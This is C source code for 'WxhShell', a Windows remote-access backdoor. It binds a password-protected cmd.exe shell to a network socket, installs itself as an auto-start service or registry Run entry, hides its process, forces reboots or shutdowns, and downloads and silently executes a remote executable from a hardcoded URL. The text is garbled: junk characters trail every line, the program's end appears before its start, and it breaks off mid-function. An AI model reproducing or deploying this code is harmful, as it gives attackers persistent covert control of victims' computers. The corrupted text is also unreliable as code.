    closesocket(wsh); #$-`+P  
    ExitThread(0); H[iR8<rhQ  
    } KQrG|<J  
    break; +r]2.  
    } vj<JjGP  
  // 关机 k Rp$[^ma  
  case 'd': { WS ^%< h#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ohB@ijC!  
    if(Boot(SHUTDOWN)) ncij)7c)u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p w`YMk  
    else { 3gba~}c)  
    closesocket(wsh); +C[%^G-:  
    ExitThread(0); O>2i)M-h9x  
    } yUFT9bD  
    break; ,S=ur%  
    } Md1ePp]  
  // 获取shell a"X9cU[  
  case 's': { B P0*`TY  
    CmdShell(wsh); s\ YHT.O?  
    closesocket(wsh); hdH}4W  
    ExitThread(0); /.[78:G\,  
    break; hW-?j&yJ?  
  } e:RgCDWL  
  // 退出 XRWy#Pj  
  case 'x': { agPTY{;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 10e~Yc  
    CloseIt(wsh); 1ihdH1rg[  
    break; [-JU(:Rh  
    } zM|Y X<  
  // 离开 C.9l${QU  
  case 'q': { ABnJ{$=n#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]9NA3U7F  
    closesocket(wsh); `KmM*_a  
    WSACleanup(); ~~3 BV,  
    exit(1); ?hnxc0 ~P  
    break; :PDyc(s{  
        } E(Y}*.\]#s  
  } XlU`jv+  
  } W v!%'IB  
]*vv=@"`e  
  // 提示信息 4xD`Z_U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S/7?6y~  
} UB|}+WA3  
  } nK9?|@S*'  
o",J{  
  return; _ "H&  
} Ex}hk!  
E4N{;'  
// shell模块句柄 h_K!ch }  
int CmdShell(SOCKET sock) JWvL  
{ Hn!13+fS  
STARTUPINFO si; <GO 5}>}p8  
ZeroMemory(&si,sizeof(si)); xg_9#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , LVZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #>dj!33  
PROCESS_INFORMATION ProcessInfo; FkY <I]F  
char cmdline[]="cmd"; X_2p C|C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [,/~*L;7  
  return 0; ])NQzgS  
} aLt2fB1)  
4 oZm0  
// 自身启动模式 MI\35~JAN  
int StartFromService(void) qv.s-@l8  
{ M)j.Uu  
typedef struct ^K'@W  
{ yw+LT,AQ.  
  DWORD ExitStatus; zM2 _z  
  DWORD PebBaseAddress; Q?]-/v  
  DWORD AffinityMask; E8] kd  
  DWORD BasePriority; k?;B1D8-n  
  ULONG UniqueProcessId; g! DJ W  
  ULONG InheritedFromUniqueProcessId; YzVhNJWpw  
}   PROCESS_BASIC_INFORMATION; ![j?/376  
IcP\#zhEv  
PROCNTQSIP NtQueryInformationProcess; nb_$g@ 03  
VQwF9Iq]`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z=j6c"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EN;s 8sC!  
=WM^i86  
  HANDLE             hProcess; 5V@c~1\  
  PROCESS_BASIC_INFORMATION pbi; Wg!JQRHtT  
{Etvu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yttaZhK^u  
  if(NULL == hInst ) return 0; Lv m"!!  
)uu1AbT +e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = 4 wf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Es(pwJB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YML]pNB  
bfX yuv  
  if (!NtQueryInformationProcess) return 0; L(+I  
uJ T^=Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @p ZjJ<9QM  
  if(!hProcess) return 0; ZGj ^,?a  
NWS3-iZ|8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zi= /w  
y$[:Kh,  
  CloseHandle(hProcess); ;9$71E  
K$/&C:,Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &$g{i:)Z  
if(hProcess==NULL) return 0; ;7E c'nC4  
2xK v;  
HMODULE hMod; <sli!rv  
char procName[255]; F(KsB5OY?  
unsigned long cbNeeded; w?:tce   
f@Yo]FU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?!HU$>  
O_\%8*;  
  CloseHandle(hProcess); !QS j*)V#  
W.CbNou  
if(strstr(procName,"services")) return 1; // 以服务启动 dJ>~  
7!U^?0?/  
  return 0; // 注册表启动 }\0ei(%H  
} xM)6'= x6  
O+OUcMa,  
// 主模块 LY;Fjb yU  
int StartWxhshell(LPSTR lpCmdLine) v6P2v  
{ o2~P vef  
  SOCKET wsl; Dl@Jj?zc  
BOOL val=TRUE; `br$kB  
  int port=0; Z@,[a  
  struct sockaddr_in door; d$hBgJe>N  
Q|xa:`3?  
  if(wscfg.ws_autoins) Install(); TyhO+;  
GRh430V [  
port=atoi(lpCmdLine); |p.|zH  
H)+QkQb}  
if(port<=0) port=wscfg.ws_port; w)C5XX30;  
S#:l17e3  
  WSADATA data; uH]oHh!}j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c{ ([U  
rXP~k]tC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CorV!H4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F:N8{puq5  
  door.sin_family = AF_INET; vb6kr?-i*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D$N;Qb  
  door.sin_port = htons(port); l"-Z#[  
o$Ju\(Y$<+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &-Ylj  
closesocket(wsl); Z C<+BKS  
return 1; G>Hg0u0!,  
} Vh{(*p  
Z@(KZ|  
  if(listen(wsl,2) == INVALID_SOCKET) { l];/,J^  
closesocket(wsl); wJj:hA}  
return 1; A `{hKS  
} }OY/0p-Z  
  Wxhshell(wsl); X ,{ 3_  
  WSACleanup(); ALj~e#{;z  
RqX^$C8M  
return 0; F3hG8YX  
E!_3?:[S_  
} *3)kr=x  
+PS jBO4!  
// 以NT服务方式启动 _b$ yohQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M|NQoQ8q  
{ XBoq/kbw!  
DWORD   status = 0; |az2vD6P  
  DWORD   specificError = 0xfffffff; te4=  
5|5p -B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HuJc*op-6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; flT6y-d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XO+rg&Pu  
  serviceStatus.dwWin32ExitCode     = 0; /,`OF/%  
  serviceStatus.dwServiceSpecificExitCode = 0; WdH/^QvTP  
  serviceStatus.dwCheckPoint       = 0; h+ud[atk.  
  serviceStatus.dwWaitHint       = 0; tuLNGU  
T<-_#}.Hn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ss%1{s~ok  
  if (hServiceStatusHandle==0) return; ~Up{zRD"B  
AmC?qoEWQ7  
status = GetLastError(); zy5FO<->  
  if (status!=NO_ERROR) n*Uk<_WA  
{ bf|ePGW?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3~VV2O  
    serviceStatus.dwCheckPoint       = 0; bF6J>&]!  
    serviceStatus.dwWaitHint       = 0; K`2(Q  
    serviceStatus.dwWin32ExitCode     = status; yM~bUmSg  
    serviceStatus.dwServiceSpecificExitCode = specificError; FWA?mde  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]IEZ?+F,  
    return; C!|LGzs0  
  } z;!"i~fFK  
rtfRA<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s&Y"a,|Z  
  serviceStatus.dwCheckPoint       = 0; kg 8Dn  
  serviceStatus.dwWaitHint       = 0; BM'!odRv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JQ 6M,O  
} hGkJ$QT  
kRc+OsY9  
// 处理NT服务事件,比如:启动、停止 5VJe6i9;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =J4|"z:  
{ 1X&.po  
switch(fdwControl) g/fpXO\  
{ k%FA:ms|k  
case SERVICE_CONTROL_STOP: GX0zirz  
  serviceStatus.dwWin32ExitCode = 0; n}j6gN!O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9! /kyyU  
  serviceStatus.dwCheckPoint   = 0; a{.q/Tbt  
  serviceStatus.dwWaitHint     = 0; I}m20|vv  
  { xEk8oc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u>n"FL 'e  
  } bMxK@$G~  
  return; a]T&-#c,}  
case SERVICE_CONTROL_PAUSE: BjeD4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0~z\ WSo  
  break; 1"L"LU'  
case SERVICE_CONTROL_CONTINUE: fP V n;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3N9O.VC  
  break; n{i,`oQ"  
case SERVICE_CONTROL_INTERROGATE: tKeTHj;jO  
  break; Pal=I)  
}; P/girce0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hd u2?v@  
} 8M@'A5]  
[d8Q AO1;)  
// 标准应用程序主函数 tw>2<zmSi%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zD79M  
{ p*&0d@'r  
?UZt30|1  
// 获取操作系统版本 Z sTtSM\Ac  
OsIsNt=GetOsVer(); dw3Hk$"h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z8'1R6nq  
M{Z ;7n'  
  // 从命令行安装 `}$o<CJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); %KXiB6<4  
{VL@U$'oI  
  // 下载执行文件 pX ^^0  
if(wscfg.ws_downexe) { o[T+/Ej&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -g]Rs!w'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1J4Pnl+hN  
} -(8I?{"4i  
jk{(o09  
if(!OsIsNt) { %)x9u$4W2  
// 如果时win9x,隐藏进程并且设置为注册表启动 <aJQV)]\  
HideProc(); wDZ<UP=X  
StartWxhshell(lpCmdLine); 12KC4,C&1i  
} =d<RgwscJ  
else q.VYPkEib  
  if(StartFromService()) /v8Q17O?e  
  // 以服务方式启动 IB/3=4n^|  
  StartServiceCtrlDispatcher(DispatchTable); *iE tXv  
else a+E&{p V  
  // 普通方式启动 Ki2!sADd  
  StartWxhshell(lpCmdLine); UtQey ;w  
 ir6' \  
return 0; *[3xc*5F/A  
} >H!Mx_fDL  
)rD!4"8/A  
x8PT+KC  
N8b\OTk2  
=========================================== fI613ww]  
hTr5Q33y>  
3}0\W.jH  
6'r8.~O  
DPTk5o[  
$'4 98%K2  
" t'v t'[~,U  
qW0:q.   
#include <stdio.h> sQvRupYRO  
#include <string.h> :oP LluW*  
#include <windows.h> c+9L6}D  
#include <winsock2.h> 2 }r=DAe0  
#include <winsvc.h> <EpL<K%  
#include <urlmon.h> rp||#v0l!w  
XH"+oW  
#pragma comment (lib, "Ws2_32.lib") /x6p  
#pragma comment (lib, "urlmon.lib") a/sjW  
`hi=y BO  
#define MAX_USER   100 // 最大客户端连接数 //q(v,D%Q  
#define BUF_SOCK   200 // sock buffer vxOqo)yO  
#define KEY_BUFF   255 // 输入 buffer gBm'9|?  
B7C3r9wj  
#define REBOOT     0   // 重启 sjr,)|#[  
#define SHUTDOWN   1   // 关机 ,50  
!Rn6x $_  
#define DEF_PORT   5000 // 监听端口 &9p!J(C  
d;Vy59}eY  
#define REG_LEN     16   // 注册表键长度 ~&i4FuK  
#define SVC_LEN     80   // NT服务名长度 ` p\=NP!n  
|h>PUt@LL  
// 从dll定义API ;sZG=y@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s[yWBew  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cbw *? 9d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &A QqI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Je1d|1!3  
bbK};u  
// wxhshell配置信息 lLx!_h  
struct WSCFG { m+kP"]v  
  int ws_port;         // 监听端口 {^VtD  
  char ws_passstr[REG_LEN]; // 口令 W$rWg>4>  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~RhUg~o  
  char ws_regname[REG_LEN]; // 注册表键名 #j QauO  
  char ws_svcname[REG_LEN]; // 服务名 py*22Ua^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dcl$?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6#?T?!vZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \<4N'|:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e1m?g&[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cO~<iy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z!1D4`w  
9%/hoA)  
};  +$dJA  
z%;p lMj  
// default Wxhshell configuration ~VGnE:  
struct WSCFG wscfg={DEF_PORT, kQ`tY`3F  
    "xuhuanlingzhe", LKIMT  
    1, xM*_1+<dT$  
    "Wxhshell", B$4*U"tk  
    "Wxhshell", 3S0.sU~_U  
            "WxhShell Service", U0~_'&Fe  
    "Wrsky Windows CmdShell Service", ?+yr7_f3*  
    "Please Input Your Password: ", { "y/;x/  
  1, _R4}\3}!  
  "http://www.wrsky.com/wxhshell.exe", 9%!h/m>rW  
  "Wxhshell.exe" [ GLH8R  
    }; BG>Y[u\N  
oL<#9)+2*  
// 消息定义模块 )ZG;.j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *o6}>;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rf.pT+g.P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w?Te%/s.  
char *msg_ws_ext="\n\rExit."; V]=22Cxi'~  
char *msg_ws_end="\n\rQuit."; LW %AZkAx  
char *msg_ws_boot="\n\rReboot..."; :QE5 7 .  
char *msg_ws_poff="\n\rShutdown..."; {%V(Dd[B6  
char *msg_ws_down="\n\rSave to "; { i5?R,a)  
Yh":>~k?SY  
char *msg_ws_err="\n\rErr!"; {ZJO5*  
char *msg_ws_ok="\n\rOK!"; m|a9T#B(  
=kjKK  
char ExeFile[MAX_PATH]; >rSjP1-F  
int nUser = 0; bjZJP\6  
HANDLE handles[MAX_USER]; 067c/ c  
int OsIsNt; _Cmmx`ln  
+HK4sA2;  
SERVICE_STATUS       serviceStatus; a~$XD(w^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yk+ 50/L  
9mF '   
// 函数声明 K`4rUEf}V"  
int Install(void); (!~cO x   
int Uninstall(void); h [TwaR  
int DownloadFile(char *sURL, SOCKET wsh); h3ygL"k  
int Boot(int flag); jh5QIZf=  
void HideProc(void); 44]s`QyG  
int GetOsVer(void); o<`vh*U@,4  
int Wxhshell(SOCKET wsl); C"hN2Z!CD|  
void TalkWithClient(void *cs); ]g_VPx"  
int CmdShell(SOCKET sock); mzgt>Qtkz=  
int StartFromService(void); P*|N)S)X%  
int StartWxhshell(LPSTR lpCmdLine); H|9t5   
aO6\ e>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &qv~)ZM$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h<9s& p  
jUe@xi s<T  
// 数据结构和表定义 o2/:e  
SERVICE_TABLE_ENTRY DispatchTable[] = wq)*bIv  
{ W^(zP/  
{wscfg.ws_svcname, NTServiceMain}, b IDUa  
{NULL, NULL} 48^-]};  
}; q t"D!S_  
A2_ut6&eb  
// 自我安装 l=@ B 'a  
int Install(void) <_EKCk  
{ peQwH  
  char svExeFile[MAX_PATH]; ~# -?V[  
  HKEY key; a)_3r]sv^  
  strcpy(svExeFile,ExeFile); m4:c$5  
L*@`i ]jl  
// 如果是win9x系统,修改注册表设为自启动 3Cf9'C  
if(!OsIsNt) { t^s&1#iC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cc@W 6W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LC%o coc  
  RegCloseKey(key); -IPo/?}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *t@A-Sn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T(J'p4  
  RegCloseKey(key); LGP"S5V  
  return 0; !Sc"V.o @!  
    } CSM"Kz`  
  } AIF ?>wgq  
} 6g(;2gY  
else { bLqy7S9x  
#M,&g{  
// 如果是NT以上系统,安装为系统服务 inh0p^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p{f R$-d  
if (schSCManager!=0) |z-f 8$  
{ Y:^hd809  
  SC_HANDLE schService = CreateService 'jev1u[  
  ( -Q WvB  
  schSCManager, !09)WtsEfx  
  wscfg.ws_svcname, 144Y.  
  wscfg.ws_svcdisp, AdX))xgl  
  SERVICE_ALL_ACCESS, OO:S2-]Y>e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uLhGp@Dx  
  SERVICE_AUTO_START, Od1\$\4Z  
  SERVICE_ERROR_NORMAL, q_MN  
  svExeFile, \PrJy6&  
  NULL, iw@rW5%'~  
  NULL, Q(|@&83].  
  NULL, A8{jEJ=)P  
  NULL, yD\q4G  
  NULL 1w,_D.1'  
  ); c<lp<{;  
  if (schService!=0) /MZ<vnN7f  
  { 2Q^ q$@L  
  CloseServiceHandle(schService); i7x&[b  
  CloseServiceHandle(schSCManager); uEPp%&D.+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rQ*+ <`R}  
  strcat(svExeFile,wscfg.ws_svcname); (i "TF2U,<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fSo8O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m#"_x{oa  
  RegCloseKey(key); v%tjZ5x  
  return 0; _4{0He`q  
    } !:{Qbv&T  
  } wNB?3v{n  
  CloseServiceHandle(schSCManager); ^<;W+dWdU  
} AHf 9H?  
} tUu ' gs|  
7e_4sxg'(3  
return 1; ~ua(Qm  
} xIdb9hm<  
xUJ(tG3  
// 自我卸载 U/>I! 7oe  
int Uninstall(void) 7HkO:/  
{ TWP@\ BQ  
  HKEY key; &RR;'wLoQT  
WQ|Ufl;  
if(!OsIsNt) { $^x=i;>aK.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fh~9(Y#  
  RegDeleteValue(key,wscfg.ws_regname); /b+~BvTh  
  RegCloseKey(key); "4b{YWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o&JoeKXor  
  RegDeleteValue(key,wscfg.ws_regname); ,!= sGUQ)  
  RegCloseKey(key); <ZC .9  
  return 0; Kz'GAm\  
  } oj8r*  
} X5WA-s(?0  
} Xo PJ?6 3  
else { vo/x`F'ib  
pY&6p~\p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g=:o'W$@  
if (schSCManager!=0) #2=l\y-#  
{ ~WrpJjI[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZflB<cI  
  if (schService!=0) s_^`t+5  
  { |d0X1(  
  if(DeleteService(schService)!=0) { F|%PiC,,qO  
  CloseServiceHandle(schService); }Qo]~/  
  CloseServiceHandle(schSCManager); b9g2mWL\T  
  return 0; ;~3;CijJ8  
  } 2/SUEnaLy_  
  CloseServiceHandle(schService); g[cnaS|?  
  } =!Ik5LiD  
  CloseServiceHandle(schSCManager); {i>AQ+z61f  
} _L,~WYRo  
} MN: {,#d0  
#}Qe{4L  
return 1; Dj/Hz\  
} Df"PNUwA"  
 ?K-4T  
// 从指定url下载文件 PKlR_#EB?  
int DownloadFile(char *sURL, SOCKET wsh) .ATpwFal  
{ >~g-  
  HRESULT hr; %! ` %21  
char seps[]= "/"; ,[n9DPZ  
char *token; )U/Kz1U  
char *file; L7ae6#5.  
char myURL[MAX_PATH]; b+Q{Z*  
char myFILE[MAX_PATH]; kEh9J>|M  
 Wvb ~j  
strcpy(myURL,sURL); /&6{}n  
  token=strtok(myURL,seps); 6;E3|st1X  
  while(token!=NULL) ,Uh^e]pC  
  { +9/K|SB{ $  
    file=token; "8Dm7)nB  
  token=strtok(NULL,seps); lz^Vi!|p  
  } m%9Yo%l~  
_DR@P(0>_  
GetCurrentDirectory(MAX_PATH,myFILE); ^"Bhp:o2  
strcat(myFILE, "\\"); BOpZ8p'eH1  
strcat(myFILE, file); " ILF!z  
  send(wsh,myFILE,strlen(myFILE),0); Y`g O:d8  
send(wsh,"...",3,0); Q8m~L1//S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mg >%EH/'  
  if(hr==S_OK) P`rfDQoZ  
return 0; *,u{, $}2  
else >p&"X 2 @  
return 1; &5}YTKe}|  
]ty$/{hx'  
} UV(`.  
x@ X2r  
// 系统电源模块 q,K|1+jn  
int Boot(int flag) G 1{m"1M  
{ wn"\ @QvG  
  HANDLE hToken; SY95s  
  TOKEN_PRIVILEGES tkp; "]3o93 3 D  
7a[6@  
  if(OsIsNt) { nLL2/!'n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .QY>@b\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TY/'E#.  
    tkp.PrivilegeCount = 1; Pk&=\i<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l#uF%;GDX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5$ How!  
if(flag==REBOOT) { 27}:f?2hbJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?* ~4~ZE E  
  return 0; (YJ2- X~  
} +wG *qI  
else { eNfH9l2k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5H'Iul<Os  
  return 0; ,b^Y8_ltoT  
} ; FI'nL  
  } HRTNIx  
  else { Qfp4}a=  
if(flag==REBOOT) { B<~AUf*y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wmpQF<  
  return 0; qKSR5 #  
} ,3rsjoKhd  
else { #@nPB.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !"FEp  
  return 0; dkC_Sh{  
} #0) TS  
} 6l,6k~Z9  
/#5rt&q  
return 1; I!b"Rv=Nf-  
} ju:}%'  
kM-8%a2i  
// win9x进程隐藏模块 vEjf|-Mb9  
void HideProc(void) )4o8SF7lz  
{ shGUG;  
_I)TO_L;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b73}|4v  
  if ( hKernel != NULL ) q'fOlq  
  { RJ'za1@z;b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "r`2V-E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c}v8j2{  
    FreeLibrary(hKernel); NI/'SMj%  
  } @Y,t]  
=Crl{Ax  
return; *56j'FX  
} ka=A:biz  
1/bTwzR.g  
// 获取操作系统版本 ZYY`f/qi  
int GetOsVer(void) qAp <OJ  
{ };r EN`L  
  OSVERSIONINFO winfo; Sc3{Y+g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  8\nka5  
  GetVersionEx(&winfo); :bo2H[U+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3hkEjR  
  return 1; r}Vr_  
  else Ww~C[8q  
  return 0; +dCR$<e9r  
} uJ|,-"~F  
j*?E~M.'1K  
// 客户端句柄模块 ?gu!P:lZS  
int Wxhshell(SOCKET wsl) GQ85ykky  
{ Tb^1#O  
  SOCKET wsh; ?AO=)XV2  
  struct sockaddr_in client; >q')%j  
  DWORD myID; fLRx{Nu  
X'.l h#&  
  while(nUser<MAX_USER) DZ`,QWuA  
{ O*2{V]Y @  
  int nSize=sizeof(client); E690'\)31  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .R)Ho4CE  
  if(wsh==INVALID_SOCKET) return 1; I+Y Z+  
RYl{89  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cEXd#TlY~X  
if(handles[nUser]==0) ui"`c%2n  
  closesocket(wsh); 1C=42ZZ&2  
else ^^V+0 l  
  nUser++; EGRIhnED#  
  } @<OsTF L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -0'< 7FSQ  
@6[aLF]F  
  return 0; R0w~ Z   
} *?Oh%.HgF  
Mu.tq~b >  
// 关闭 socket e\#aQ1?"  
void CloseIt(SOCKET wsh) xt@v"P2Ok  
{ (RUc>Qi  
closesocket(wsh); .|:(VG$MfI  
nUser--; SXXO#  
ExitThread(0); \HMuV g'Q  
} pcd?6jh8  
?!tO'}?  
// 客户端请求句柄 lh\`9F:  
void TalkWithClient(void *cs) uI)z4Z  
{ 0m4#{^Y  
l7WZ" 6d  
  SOCKET wsh=(SOCKET)cs; /w5c:BH  
  char pwd[SVC_LEN]; t}K8{ V  
  char cmd[KEY_BUFF]; G]-\$>5R  
char chr[1]; .F/l$4CQ  
int i,j; I_c?Ky8J_|  
FIJ]`  
  while (nUser < MAX_USER) { (h&=N a~  
) [)1  
if(wscfg.ws_passstr) { Qc Xw -  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R{B5{~m>W@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U~|)=+%O  
  //ZeroMemory(pwd,KEY_BUFF); :p1_ij]ND  
      i=0; Oxi^&f||`  
  while(i<SVC_LEN) { P=ubCS'  
j;_E0j#  
  // 设置超时 1"l48NLL|  
  fd_set FdRead; 3!KyO)8  
  struct timeval TimeOut; *TL3-S?   
  FD_ZERO(&FdRead); So NgDFD  
  FD_SET(wsh,&FdRead); W Emh  
  TimeOut.tv_sec=8; |>JRJ"CFE  
  TimeOut.tv_usec=0; E0A[{UA   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U,< ?]h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q)"yP\  
M VE:JNm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xM&`>`;^e  
  pwd=chr[0]; 4SkCV  
  if(chr[0]==0xd || chr[0]==0xa) { EBmkKiI;  
  pwd=0; ?;rRR48T9E  
  break; 9:!V":8q  
  } >(gbUW  
  i++; %zjyZ{=  
    } t4zKI~cO  
PTF|"^k+   
  // 如果是非法用户,关闭 socket {o %OG/!1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R|\kk?,u  
} 9KL)5_6 M  
b\SB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  o^d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m7cG ]a~a  
2N&S__  
while(1) { q' t"  
@Bsvk9}  
  ZeroMemory(cmd,KEY_BUFF); 9 b&HqkXX  
PmUq~YZ7  
      // 自动支持客户端 telnet标准   e=i9l  
  j=0; gue~aqtJ  
  while(j<KEY_BUFF) { ()_^:WQO?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xn<x/e  
  cmd[j]=chr[0]; x,<|<W5<%  
  if(chr[0]==0xa || chr[0]==0xd) { Gbb*p+ (  
  cmd[j]=0; wem hP8!gc  
  break; }vX 1@n7T6  
  } <a(739IF  
  j++; [TmZ\t!5$  
    } .A7ON1lc^C  
iT~ gt/K  
  // 下载文件 T mH5+  
  if(strstr(cmd,"http://")) { zrA =?[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P9gAt4i  
  if(DownloadFile(cmd,wsh)) d`xDv$QZ  
